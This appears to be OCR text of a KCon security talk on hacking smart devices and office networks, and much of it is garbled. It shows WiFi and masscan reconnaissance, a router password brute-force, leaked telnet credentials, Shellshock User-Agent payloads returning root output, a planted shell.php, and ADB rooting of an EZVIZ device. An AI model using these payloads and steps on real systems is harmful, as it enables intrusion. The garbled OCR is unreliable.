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[

|:~# whoami

ID : Rabit2013 , Real name : FKHIZE

[

Job : CloverSec Co.,Ltd CSO & CloverSec Labs & Sec Lover

[

|:~# groupinfo

Cl:~# cat Persional Info.txt
FREBFAREE (EEXIN. MELET )
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ZJRSSCTFMBITEH L ZRAE LR S5 H R
RERIT W MEZET S
RAIURIEETEIIES BB RmIE
B WebN FHE SR, ﬂ}aTEE:F
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& ~IZ 1 Microsoft WindowsPIHZIRINU R E
¢ ~IlZ 1 Adobe Flash Player{EFEt3H1T /%

& ~I1ZOracle JavaiFSNiBH1T R

& LU= 360722 PTHZIRINEE
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Avast Free AntiVirus

AhnLab V3 Internet Security

AVG Internet Security

Bitdefender Internet Security
BullGuard Internet Security

Avira Antivirus Pro

Comodo Internet Security Premium
ESET Smart Secruity

F-Secure Internet Security

G Data Internet Security

K7 Computing Total Security
Kaspersky Lab Internet Security
McAfee Internet Security
MicroWorld eScan Internet Security Suite
Norman Security Suite Pro

Norton Norton Security

Panda Security Free Antivirus

Quick Heal Total Secruity

Trend Micro Internet Security
ThreatTrack VIPRE Internet Security
Check Point ZoneAlarm Extreme Security
Emsisoft Anti-Malware

Qihoo 360 360 Antivirus 2016

Baidu Antivirus 2016




7

Why?  ---S5{aEIabeE

e e BN O =R
What? ---[jjLkge
How? ---EB4Z%

[ Rabit2013@KCon ]



i g

Why

A Azt sEHacking

[ Rabit2013@KCon ]



ToreigA Bt Tk ERS

 —|

Bk BWSRE HEERE
= =mWAF  FEEEFE

EHRG AMEIE  miEERS

Web iz ZECMS £2£0A

[ Rabit2013@KCon ]



[ Rabit2013@KCon ]



7

XZ#F

ﬁ/\\

S5fcE E

= 1T
Spr=E 55[1<

IEES - XXE CSRF

sQL \EN / ema \ Rl
=N HELE EAN XSS

;E)\ Iﬂ L

[ Rabit2013@KCon ]

A5
i i

AN
a]l=]




—~—

1

Ed 1
X7 A7

(ALY =l |
zl

Jrit

API

%
TAIUE
ANE

$24 [
AL

yss
LY
=)
TAIE

s

—

Vs

Y

LETIAN
ai&

[ Rabit2013@KCon ]



7

Why?  ---S5{aEIabeE

e e BN O =R
What? ---[jjLkge
How? ---EB4Z%

[ Rabit2013@KCon ]



i g

Where

HackingHI N\ O 2 B

[ Rabit2013@KCon ]



7

System

Testing

REAE

Fuzzing

+

[ Rabit2013@KCon ]

Checking

SURIEH



[ Rabit2013@KCon ]



S L U R O L

b} hehe + -0 x

-Re{Data 0}

Im{Data 0}
() 4 3

20, 00040 00060 00080 OOOLOO 000

Time (us)

\mplitude

[ Rabit2013@KCon ]



7

TRELRE | ERVERE , (£REE , LINEERHTA

HWLEPCB MSFPEM E 7 REEZER —ﬁizﬂﬂ?zlil ( UART/TTL/JTAG)
JNEE |, L&hf’%*%)ufﬂ‘_uﬂ (HimB , BRSS )

BEUSSHTON , BEERETHA , 1_1“31 SEEMTART

FEE , RS, SRR R T
Eﬁ%,IP|ng/Telnet£I)J‘ﬁ*E =A< HAT . EABEMER
EERITT I IR0EM , SRR , FEAERMER

EBAKRATHAVEER. A

[ Rabit2013@KCon ]



7

LISNBRENIRE | XWE CRI—EB AR TIGIE.
XIIMNBIENERITONT , #igPayload , 8—TF
RO ERimITENER

MAQEMU TN, , FETIES

MNZimBl =i ( WEREHIE )

R EFNA  SHESERA , YERNAREpwn ithizs 17
—NMMRES RIS ( ETYEMIREHIN KSR )

[ Rabit2013@KCon ]



——

ZO0Z%24 SUMGAEURL  SLEEO 0 &=

RELE FUEfmO  SHImessn ko

Bl AYE  REAIE  AEDump

BEZE WIFI  BF  BsEEs a4

AFH UIYETe ik iBE  BUMFR

[ Rabit2013@KCon ]



Ia

e THAT

|

RBRe

o TARE

|

NFC

——

BadUSB

—to( BmRe ) |
SDR

—

(N M

—
Airplay

oCoume)

13

|

APT

D

BREIRFFRE)E

G-

|

BOL

ERMHEE

EOEMN

AT

HEBEET®

D!

RO




Rk

BEAE

D

BRNE

BER®E

BEER7

"

EFEPFNEREIRE

BT

W

Eff ©] HlEEHED

RER

BT R
i ATM

Hfthuisl )@

|g

FHRE

|

OBD/CAN

D

g

T

Bzl

BEIT ©

BB

BT ek

BRE™ .I TR

TEBR




7

Why?  ---S5{aEIabeE

e e BN O =R
What? ---[jjLkge
How? ---EB4Z%

[ Rabit2013@KCon ]



i g

What

IRLLgEHacking

[ Rabit2013@KCon ]






» [CVE-2013-4975] BAREEH RBH

/ > [CVE-2013-4976] AIFLet [JSHeklgs]

2 I PO ORI 22 4 e e R e 1

‘l__—> BIAEERL. R AT, 51455
€ R
\)
admin. rootl&SBRINFF OIS CVE—2013-3612 BRAFI P 2% HH <\
- CVE-2013-3613 *BEﬁlJUPnPﬁﬁR e

CVE—2013—5754E‘55‘H§3M “ El y,quash " -
CVE-2013-6117 AiESed, WA EMIBRH B el



7

Why?  ---S5{aEIabeE

e e BN O =R
What? ---[jjLkge
How? ---EB4Z%

[ Rabit2013@KCon ]



i g

How

B4 ZHacking

[ Rabit2013@KCon ]



How

B4 ZHacking

Z02. AEMNEENZSIS ?
2513, MEREEENZE ?
24, EFPEBEEHacking ?

[ Rabit2013@KCon ]



airodump-ng wlanOmon

KuR(T) #EIH)

CH 3 ][ Elapsed: 19 mins ][ 2016-08-22 10: 31

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER. AUTH- ESSID
ICA: 38:50:B9 -17 172 10 0 1 54e WPA2 CCMP  PSK Seclover-Test I
UM I 32340 -39 75 Y U 8 o4c. WPAZ cemP  Pok =G
08: 92:32:4D -50 487 662 0 8 54e. WPA2 CCMP PSK Office pRvsR VLG arl Frotecte
08: .92:32:65 -51 433 199 0 11 54e. WPA2 CCMP PSK Office 0
0A: $92:32:65 -51 473 0 0 11 54e. WPA2 CCMP PSK Guest
EC: :21:4F: C4 -56 406 72 0 11 54e WPA2 CCMP PSK Seclover
08: 192:31:35 -60 501 217 0 3 54e. WPA2 CCMP PSK Office
0A: :92:31:35 -60 507 0 0 3 54e. WPA2 CCMP PSK Guest
EC: :7E:E2:5C - 63 481 56 0 4 54e. WPA2 CCMP PSK ne Lork
0A: :92:31:39 -64 450 0 0 3 54e. WPA2 CCMP PSK - Guest
08: :92:31:39 -65 483 178 0 3 54e. WPA2 CCMP PSK Office
58: :9B:83:40 -69 188 547 0 6 54e. WEP WEP ( T
C4: :6F:DC:F9 -73 161 0 0 11 54e WPA2 CCMP PSK aNet- jkMS
A4: :BE:SD:EE -74 231 0 0 13 54e WPA2 CCMP PSK alet- LmAU
64 :50:64:E6 -75 109 2 0 11 54e WPA2 CCMP PSK ek_shuju
00 ©78:D7:D0 -78 59 53 0 9 54e WPA2 CCMP PSK * ogeek
54 :52:79:F0 -79 42 0 0 1 54e. WPA2 CCMP PSK ralNet- XxcV
0G 148:5B: 70 - 81 45 4 0 6 54 . WPA2 CCMP PSK LINK_485B70

end: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
ether ac:bc:32:bf:83:6d
inet6 fe80::aebc:32ff:febf:836d¥%en@ prefixlen 64 scopeid 0x4
in¢t 192.168.0.6 retmask Oxffffff@@ broadcast 192.168.0.255
nd6 options=1<PERFORMNUD>
media: autoselect
status: active



~y

= ~ sudo masscan -p80,8080 192.168.0.6/24 --rate=10000
Password:

Starting masscan 1.0.3 Chttp://bit.ly/14GZzcT) at 2016-08-22 04:15:09 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan a e —

Scanning 256 hosts [2 ports/host]

Discovered open port 80/tcp on 192.168.0.1

FRET DIR-612
B 0%, 00:02:51

E8/ i) 201245A16H 105252428, E=

o X
EETEEEN oo

LS © hit://192.168.0.1/loginhim BERES
P=EAEAE: DIR-612 R Bl EfHRA: 2.10 192.168.0.1
[ XOX ] Intruder attack 1
g Attack Save Columns
Target Positions Payloads Options
N
N Filter: Showing all items ?
\ﬂ—l o Request Payload Status Error | Timeout| Length & Comment
- 1198908 1200 O |
r 200 370 baseline request
g %nulld% 200 370
FBFE: | Admin i 1zh7288 200 370

i |Izh-7288 |200 370

1370
370
370
370
370
370
370
370
370
370

s%usernamet 200
200
200
200
200
200
| |200
00000000 200
0123456789 200
1 200

OOOOOOOOOOOEEE
IOOOOOOOOOOOOE

WIRELESS

matches

1011 of 37979




Ve

Telnet

=54\ AR A2 80

- ~ telnet 192.168.0.1
Trying 192.168.0.1...

Connected to 192.168.0.1.
Escape character is 'A]'.

User Access Verification
Username: admin

Password:

AP#}

Telnet

AR E AREETelnet. REFEE AHIT.

Telnetig &

Telnet:

28

D =R

AP#login show

Username Password
Admin 198908
Admin 50B9airocon
admin 198908
Ar#l

Priority
2
1
2



FE] AXIFEHREREEWIFIEASR |
¥kHEXCookie/Session/Token/MKS

Eht , SETRIABIRE......... ..

N 192.168.100.12/users/sign_
E @ Google [B #itrisiizs B Google &z NaviSec @ Ingress Inte

192.168.100.12 &7 :
KRR —i%

b’ . This site has been hacked with dSploit!
fou need to F

* BKR/N\DH * BF[ RIFERHE
* RETBRER * RERICHK36E [

— Existing u

* BFRBAEIEREAS Bl - S LB IR E
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1059 ® D @ 128% @ = Tl () 81 11:56 O & 0% @ = Wl (= 77 11:55 e @ Ll al WD
(1)) WiFiF7RESARE .
(6) WWW.WiFi.COM s ‘ b
WIFI:T:WPA;P:'S:SecIover—Ofﬂce;
R IhiE#Z Seclover-Office

®Q —RENHERL

O FEHBHIHERERSEEETUERERA
=

Seclover-Office

ToGeek
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ERFNAE 4T

TYQK

ZHEBIRKTV
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2n@: flags=8963<UP,BROADCAST,, SMART ,RUNNING, PROMISC, SIMPLEX ,MULTICAST> mtu 1500

ether ac:bc:32:bf:83:6d

inet6 fe80::aebc:32ff:febf:836d%end prefixlen 64 scopeid Ox4
inet 192.168.30.185 netmask Oxffffff@@ broadcast 192.168.30.255
ndo options=1<PERFORMNUD>

media: autoselect

status: active

enl: flags=963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX> mtu 1500

> ~

traceroute www.baidu.com

traceroute: Warning: www.baidu.com has multiple addresses; using 180.97.33.107
traceroute to www.a.shifen.com (180.97.33.107), 64 hops max, 52 byte packets

1
2
3

192.168.20.254 (192.168.20.254) 10.730 ms 0.631 ms ©0.517 ms
117.22.144.1 (117.22.144.1) 9.264 ms 36.486 ms 2.926 ms
10.224.22.5 (10.224.22.5) 2.810 ms

10.224.22.21 (10.224.22.21) 2.550 ms 2.962 ms

117.36.240.77 (117.36.240.77) 2.989 ms

1177 DL DAN A7 £A177 DL DAN 177\ 2 A0 wn~

181 F94H /Ping/Traceroutess

I T ] 2 55 ) AR ) 25 15,

s ¢ G TRAS S U 0T T CIC TP 77D LTIty / s rucan 1) we fviv wo co vt
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
[nitiating SYN Stealth Scan

5canning 65536 hosts [7 ports/host]

Jiscovered open port 22/tcp on 192.168.120.15

)iscovered open port 80/tcp on 192.168.149.106

)iscovered open port 22/tcp on 192.168.100.15

% ~ sudo masscan -p80,8080,21,22,23,3306,1433 192.168.0.6/16 --r

Starting masscan 1.0.3 Chttp://bit.1ly/14GZzcT) at 2016-08-22 06:4€
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
[nitiating SYN Stealth Scan

S5canning 65536 hosts [7 ports/host]

)iscovered open port 23/tcp on 192.168.10.11

Jiscovered open port 80/tcp on 192.168.150.254

% ~ sudo masscan -p80,8080,21,22,23,3306,1433 192.168.0.6/16 --r

Starting masscan 1.0.3 Chttp://bit.ly/14GZzcT) at 2016-08-22 06:47
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
[nitiating SYN Stealth Scan

Scanning 65536 hosts [7 ports/host]

% ~ sudo masscan -p80,8080,21,22,23,3306,1433 192.168.0.6/16 --r

Starting masscan 1.0.3 Chttp://bit.ly/14GZzcT) at 2016-08-22 06:49
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
[nitiating SYN Stealth Scan

Scanning 65536 hosts [7 ports/host]

discovered open port 80/tcp on 192.168.10.12

P ~
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192.168.10.0/24
192.168.20.0/24
192.168.30.0/24
192.168.100.0/24
192.168.120.0/24
192.168.140.0/24
192.168.150.0/24

FEE R ER A i ]

- ~ sudo masscan -p80,8080,21,22,23,3306,1433 192.168.100.0/24 --

Starting masscan 1.0.3 Chttp://bit.ly/14GZzcT) at 2016-08-22 07:11;
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 256 hosts [7 ports/host]

Discovered open port 88/tcp on 192.168.100.11

Discovered open port 80/tcp on 192.168.100.10

- ~ sudo masscan -p80,8080,21,22,23,3306,1433 192.168.10.6/24 --rate=10000
Password:

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2016-08-22 07:06:00 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 256 hosts [7 ports/host]

Discovered open port 80/tcp on 192.168.10.203

Discovered open port 22/tcp on 192.168.10.203

Discovered open port 80/tcp on 192.168.10.11

-» ~ sudo masscan -p80,8080,21,22,23,3306,1433 192.168.20.6/24 --rate=10000

Starting masscan 1.0.3 Chttp://bit.ly/14GZzcT) at 2016-08-22 07:09:02 GMT

-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 256 hosts [7 ports/host]

Discovered open port 80/tcp on 192.168.20.254
=» ~ sudo masscan -sS -Pn -p80,8080,21,22,23,3306,1433 192.168.140.0/24 --rate=
10000

Starting masscan 1.0.3 (http://bit.1ly/14GZzcT) at 2016-08-22 07:13:05 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 256 hosts [7 ports/host]

Discovered open port 21/tcp on 192.168.140.111

Discovered open port 80/tcp on 192.168.140.254

Discovered open port 80/tcp on 192.168.140.111

Discovered open port 3306/tcp on 192.168.140.107

Discovered open port 80/tcp on 192.168.140.102



192.168.20.254

Nessus was able to exploit the issue using the following request :

GET / HTTP/1.1
Host: 192.168.20.254:685
Accept-Charset: iso-8859-1,utf-8;9=0.9,*;g=0.1
Accept-Language: en
iKUEi SUE Connection: Close
i User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id;
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

GET / HTTP/1.1

Host: 192.168.20.254:682

Proxy-Connection: keep-alive

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,ir
Upgrade-Insecure-Requests: 1

User-Agent: () { #;};echo ; echo; echo $(ls -al /); . . . . .
Accept-Encoding: gzip, deflate, sdch i This produced the following truncated output (limited to 2 lines) :
Accept-Language: zh,zh-TW;g=0.8,en;g=0.6,ja;gq=0.4,es;9=0.2,fr;g=

Cookie: PHPSESSID=75c9c71786177d1leel611db0888b5705 sSnip

uid=0(root) gid=0(root) groups=0(root)
B R e asearch term

Raw | Hex

HTTP/1.0 200 OK

drwxr-xr-x 18 root root 1024 Aug 22 12:49 .

drwxr-xr-x 18 root root 1024 Aug 22 12:49 ..

drwxXrwxr-x 2 root root 1024 sep 24 2015 bin

drwxr-xr-x 9 root root 2420 Aug 16 06:47 dev 685/tCP/WWW 19216820-254
drwxrwxr-x 6 root root 1024 Aug 16 06:47 etc
drwxr-xr-x 2 root root 1024 Aug 16 14:47 initrd
drwxrwxr-x 9 root root 1024 Aug 16 14:47 lib

2 root root 5242880 sep 24 2015 lost+found
2 root root 1024 sep 24 2015 mnt

2 root root 1024 sep 24 2015 overlay
4 root root 0 ARug 16 14:46 proc

2 root root 1024 sSep 24 2015 rom

2 root root 1024 sep 24 2015 root

1

t

drwxrwxr-x
drwxr-xr-x
—rW-r—-r--
router_add_los

root root 22 11:50

Aug
.php?gwid=9c4fc709bbd36e462f60£3627feb8753&cardid=08:9b:4b:00:1a:bc%0AR08:9b:4b:00:1a
-IW-r—-r—— 1 root root 0 Aug 22 12:49
router_add_lost.php?gwid=9c4fc709bbd36e462f60£3627feb8753scardid=4287682d1888a6b5ee5dc585¢cf354bea




Accept- Language zh zh TW;g=0. 8 en;g=0.6,ja;gq=0.4,es;9=0.2,fr;g=0.2

C' | 192.168.20.254:682/index.php?1804289383
B mAm L #M LUmps [ AMURL L am L #Tzw L #ries
Is: *;192.168.30.185;*: No such file or directory $#&1%: 5L IMIBHK

(] exploit

K AfER!

Verify.class.php
ant.php
change.php
changePassword. php
css

images

index.php

Y P P
Content-type:text/html;charset=utf-8

4,es;9=0.2,fr;g=0.2

E: b5705




(0 192.168.20.254

> BRIIE (4) < Dx#sE (1)

iy Ofiit v 4ALE TR A#EER  NBE v /tmp/ikuai/pppoepwd/

£ tmp &0 A
7 ikuai

S pppospwd 0 Verify 2016-08—16{

M Verify O css 2016-08-16

M css O images 2016-08-16

Bm images 0 s 2016-08-16 1

 js Verify.class.php 2015-09-24

ant.php 2016-08-22

change.php 2015-09-24 2

[@ changePassword.php 2015-09—241

index.php 2015-09-24 2

shell.php 2016-08-22

verify.php 2015-09-24

1 #!/bin/bash
2 ikuai_db=/etc/mnt/ikuai/config.db\

[ NON J

Navicat Premium

,'i - m r@g i rfﬁ oo _;5 K2

Cannection Table View

latea a
u .

[
"m o
v 2 ikuai
v §% main
» B Tables
> & Views
> k& Indexes
> 7 Triggers
5 Queries
00 Backups
[ e 8

ELS =8

Index Trigger Query Backup Schedule Model

‘ Objects l

E ac_default

Ff ac_server

E acc_adsl
acc_static_ip
Ff acc_vlan_ads!
£ acc_vlan_static_ip

; acl_l7

Ff acl_mac_black
; acl_mac_white
= advanced

; alone_limit

2 anyipd

Earp

= audit_white
= conn_limit

&2 coupon

B custom_isp
i dhcp_server
Z2 dhep_static
E dnat_sw

£ dns_replace
£ domain_dist

T Anratan

Columns _ DDL



[1192.168.20.254/ind

iKuai |};W!I‘E£E anon 2-5-6 S2WVRRBUild20150924-20_42

iR PSR 3073 HFRYRE

492.08 895.29

B EATiEE ke BTMTIER



& C' [1192.168.100.12/ya
LW GitLab
Back to dashboard
# Project
@ Activity
1 Files
D Commits
P Network
s  Graphs
@ Milestones
O Issues ]
== Merge Requests 6
W Labels
& wiki

I README.md

VulApps
« BR

BECRSE
@ AirDrop
B st
& iCloud Drive
7 BIFRERF
(|
M x5
O &
B I
A15H
&
© mrrs
[} xMind
#EH
(™ 192.168.20.250

& Upload

88 ao o
= |

B

[2008kg] 1SO900... EEA R

01, [PPT] PPTHIfFIISAREHF248IR
FTENHLIREN

R

2 BERE.rar
D =E=Eilad
e —
adobe_acrobat_x_pro_10
® bainadb.php
- ==
€ caidao.zip
CorelDraw
css.txt
DiskGenius
flagdb.sql
images
& line_sb.iso
B Mark Twain

EZGE
20135F8R7H L£F11:01
F7R0148
2016568130
29H T2
25H T410:54

R
1.4 MB

S
Micros...int X#5
X3
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2

=0/THER

/RSN WI RS R B 4

EERH AR b -1ivd

e LR ERiE.

config-linkserver- 'telnetd"’
option-enable '¢'

TaERRZERE— 1 backup-
EZVIZ-2016-08-20.tar.gz 3 {4ZHE

MmNt |, Tz f51EEtc/config/HhH
— M telnetBECE S |, A
’(c)elnet%?élﬂﬁ’*] , BEENERIZIREN

EXERSINLIZ)E , KicE LERIE
=%



~

/AR QKE EE Eg E %%
BPRI B isHAY TelnetThEE

@1
File | Edit View Options Iransfer Script Tools Window Help

RN RED A

0.0 0 192.168.18.254 x
Password:
Login incorrect
EZVIZ login: admin
Password:

BusyBox v1.22.1 (2015-03-24 23:19:34 EDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

. - - *11/2 oz Gin Shake with a glassful
admin@EZVIZ:~# 1id « 374 o5 Lime Sujce  unserained into'a hoblet.
uid=0Cadmin) gid=0(root) groups=0(root) 1 tlp Ceenatdne e

admin@EZzZVIZ: ~# admin@E Z7vi

Telnet: 192.168.18.254 24, 16 24 Rows, 80 Cols  Linux




7

:~# nmap 192. 168. 18. 107

HYLT]::EUS‘T(: E:;I‘l‘f'.1-?.?’{5&#:3#;-_551f0.'_ﬂfﬁ ox e e 100 ELFA5 555w 9 A DBiEiEEiTt iR

oILA R adb TERIRIg s U?'j'.yﬁé¥

5555/ tcp open freeciy AT EF_ERIADBARSS ELAroo BRI THY
MAC Address: 44:19:B6: 9F: 6A: 60 ( Hangzhou Hikvision Digital T%‘:"”""h”"‘ﬁﬁl/lg}ﬁt%ajADBEK-LA‘@IErOOt

Nmap w:{cwne; 11 iF‘ address (1 host up) scanned in 0.59 seconds \Z_L?Ll J\JID_%BIJ .'ftF%EP ESUE/J %U%HEIE}—?’—

BEZCsu LIERINNEF

db connect 192. 168. 18. 107:5555

sal
. 18. 107:5555

.1

). “:f 1_‘}]13183 ==K .n%l?>51db root

) AFZENIE & es .
; :fl'ﬁhaa \'EET m_f_/ adb devices adbd 1s already running as root

ist of devices attached

192, 168. 18. 107:5555 device . ".:f:f:.}:‘ﬁ 1%-%- \ EE ?ﬂl%‘? adb remount
d

-
~emount succeede
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ID NFEENEE\BEMEF>adb push su /system/bin %E){%SU:\L#_%UI1¢*D SU pe rsu.d pk

1743 KB/s (380532 bytes in 0.213s) HHERISNEF |, £ FsuITIN |, X
AW N 1S A
D \FZEhiE & \BiINEF>adb push Superuser. apk /system/app *i'?)ﬁ}EE?rOOtT

1409 KB/s (1468798 bytes in 1.017s)

F:\*%iﬁjiﬁ%\@?ﬂ%?hdb shell chmod 4755 /system/bin/su

AFZENIRE\BINEF >adb cornect 192. 168. 18. 107:5555
connected to 192. 168, 18. 107:5555

NEENRE\BIMNE Foadb shell

shel 1@EZVIZ R2:/ § su

su

shell@EZVIZ R2:/ # id

id

1d=0(root) gid=0(root) gzroups=1003(graphics), 1004(input), 1007 (log), 1009 (mm
2001 (net_bt_admin), 3002(net_bt), 3002 (inet), 3006 (net_bw_stats)

shel1@EZVIZ R2:/ # -

BN TFABTHEERIAIE , AT IEFERRATAISR
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| -- select one -- K&
(0 |3
Lo K

Pan  Stop Patrol

System
Security
Network

[3] Wireless LAN

3] DDNS

[#] Access list
Audio and video

[3] Camera control
Email and FTP
Motion detection

[3] Application

%) System log

3] View parameters

3] Maintenance




~

System

(3] Security

(3] Network

(3] Wireless LAN

/3 DDNS

[3] Access list

[3] Audio and video
Camera control
Email and FTP
Motion detection
Application
System log
View parameters

Maintenance

> Security
Root password
* Blank root password will disable user authentication

Rootpassword |
Confirm password |:|

ser password |

Manage user

User name
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